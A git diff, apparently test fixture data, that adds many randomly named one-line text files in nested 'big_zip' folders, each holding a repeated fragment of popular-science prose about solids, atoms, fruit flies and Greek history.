diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_qtvmusylgrjawgy.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_qtvmusylgrjawgy.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_qtvmusylgrjawgy.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_saftqnjrmvqezwqqzz.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_saftqnjrmvqezwqqzz.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_saftqnjrmvqezwqqzz.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_tnzvynnkliviwuzdqrmbvl.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_tnzvynnkliviwuzdqrmbvl.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_tnzvynnkliviwuzdqrmbvl.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_wbkvjptedcueklomgi.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_wbkvjptedcueklomgi.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_wbkvjptedcueklomgi.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_xrppfhkedommbhgxv.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_xrppfhkedommbhgxv.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_xrppfhkedommbhgxv.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_yniiijbnjfbnshfdkwgjjflx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_yniiijbnjfbnshfdkwgjjflx.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_yniiijbnjfbnshfdkwgjjflx.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ayofomveytrdqpitoi.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ayofomveytrdqpitoi.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ayofomveytrdqpitoi.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_cbjzoablrbgwqazpfdohvx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_cbjzoablrbgwqazpfdohvx.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_cbjzoablrbgwqazpfdohvx.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_chwgxanzm.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_chwgxanzm.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_chwgxanzm.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_cpxiajzxixergmlbjnlgtf.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_cpxiajzxixergmlbjnlgtf.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_cpxiajzxixergmlbjnlgtf.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_dhjgclncwsgpbtkiv.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_dhjgclncwsgpbtkiv.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_dhjgclncwsgpbtkiv.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ftqwjgmcnxkjsuwcckesmvg.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ftqwjgmcnxkjsuwcckesmvg.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ftqwjgmcnxkjsuwcckesmvg.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_hrwrzymahgxiavk.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_hrwrzymahgxiavk.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_hrwrzymahgxiavk.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ocusmjokkqfdkf.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ocusmjokkqfdkf.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_ocusmjokkqfdkf.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_qhiqpfjdwuoiufwgelieai.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_qhiqpfjdwuoiufwgelieai.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_qhiqpfjdwuoiufwgelieai.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_upxwsmalxantjx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_upxwsmalxantjx.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_upxwsmalxantjx.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_uviwxwhjglsvfygjsnlx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_uviwxwhjglsvfygjsnlx.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_uviwxwhjglsvfygjsnlx.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_vydsublrkxoxzqqvr.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_vydsublrkxoxzqqvr.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_vydsublrkxoxzqqvr.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_xqrpzuxxyfvrdqerjcdysn.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_xqrpzuxxyfvrdqerjcdysn.txt
new file mode 100644
index 0000000..1049c62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/file_xqrpzuxxyfvrdqerjcdysn.txt
@@ -0,0 +1 @@
+estimates are for human beings reduced to our simplest possible components. We are made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_amymhjtlvunpnvkyon.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_amymhjtlvunpnvkyon.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_amymhjtlvunpnvkyon.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ddsndpmsvmybyitgfja.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ddsndpmsvmybyitgfja.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ddsndpmsvmybyitgfja.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_fbdckwvbwjma.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_fbdckwvbwjma.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_fbdckwvbwjma.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_gzxrawkanq.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_gzxrawkanq.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_gzxrawkanq.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_llsgpddzcesx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_llsgpddzcesx.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_llsgpddzcesx.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ndppxcwb.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ndppxcwb.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ndppxcwb.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_nfwtlzmeuyoamx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_nfwtlzmeuyoamx.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_nfwtlzmeuyoamx.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_pbdiuisvuqxhd.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_pbdiuisvuqxhd.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_pbdiuisvuqxhd.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_pepmvtwfibnwjvfhhzundzkd.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_pepmvtwfibnwjvfhhzundzkd.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_pepmvtwfibnwjvfhhzundzkd.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_peyvqcqkthsfcffdkdx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_peyvqcqkthsfcffdkdx.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_peyvqcqkthsfcffdkdx.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_qmoejeejzeierpcnj.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_qmoejeejzeierpcnj.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_qmoejeejzeierpcnj.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_qrzdpzkmalxnfx.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_qrzdpzkmalxnfx.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_qrzdpzkmalxnfx.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_sdaaramhnhdsbyzskmjrs.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_sdaaramhnhdsbyzskmjrs.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_sdaaramhnhdsbyzskmjrs.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_sikwxcpfmdaditxevhs.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_sikwxcpfmdaditxevhs.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_sikwxcpfmdaditxevhs.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ubblgpowwnzi.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ubblgpowwnzi.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_ubblgpowwnzi.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_vaylazvhelqy.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_vaylazvhelqy.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_vaylazvhelqy.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_vhteizzrqzaocinhpb.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_vhteizzrqzaocinhpb.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_vhteizzrqzaocinhpb.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wpitudomwnaravp.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wpitudomwnaravp.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wpitudomwnaravp.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wqtvejcco.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wqtvejcco.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wqtvejcco.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wtgrudtjqtaotn.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wtgrudtjqtaotn.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_wtgrudtjqtaotn.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_xastqlulfjlfodsrwerxah.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_xastqlulfjlfodsrwerxah.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_xastqlulfjlfodsrwerxah.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_xhbygtnqygcbeflcnkwv.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_xhbygtnqygcbeflcnkwv.txt
new file mode 100644
index 0000000..d888fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/file_xhbygtnqygcbeflcnkwv.txt
@@ -0,0 +1 @@
+nothing like a fruit fly and wanted nothing to do with fruit flies. What it wanted was the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/dvxlcjbkoymwvykxdtae.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/dvxlcjbkoymwvykxdtae.txt
new file mode 100644
index 0000000..a67dab9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/dvxlcjbkoymwvykxdtae.txt
@@ -0,0 +1 @@
+embarked on a three-year project called Cosmos. At this writing it has an estimated
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/etoyosnqlzmzrjxykjmrek.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/etoyosnqlzmzrjxykjmrek.txt
new file mode 100644
index 0000000..c9464f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/etoyosnqlzmzrjxykjmrek.txt
@@ -0,0 +1 @@
+ten billion billion billion atoms considering the evolution of atoms; tracing the long journey
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/evvxwuytjwsthbsyyewie.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/evvxwuytjwsthbsyyewie.txt
new file mode 100644
index 0000000..6b5f97a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/evvxwuytjwsthbsyyewie.txt
@@ -0,0 +1 @@
+places are apparently deep holes in the overlying clouds through which we see clear
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_cciyysbhdhleky.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_cciyysbhdhleky.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_cciyysbhdhleky.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_ciuiakxvtzrscyyahbz.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_ciuiakxvtzrscyyahbz.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_ciuiakxvtzrscyyahbz.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_enrgrkzwjlyczduer.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_enrgrkzwjlyczduer.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_enrgrkzwjlyczduer.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_fgaxlnhefrnaw.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_fgaxlnhefrnaw.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_fgaxlnhefrnaw.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_guiuppkybpylnsjy.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_guiuppkybpylnsjy.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_guiuppkybpylnsjy.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_sfyhukqfjfc.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_sfyhukqfjfc.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_sfyhukqfjfc.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_vithzhjghhd.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_vithzhjghhd.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_vithzhjghhd.txt
@@ -0,0 +1 @@
+glory, but also the man whose actions led to the Peloponnesian War, which destroyed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_xoubpaqqmupdfaqmqiwst.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/folder_ywbpkvwayx/folder_watwgjusfe/folder_iufhjwniei/file_xoubpaqqmupdfaqmqiwst.txt
new file mode 100644
index 0000000..63330f6
--- /dev/null
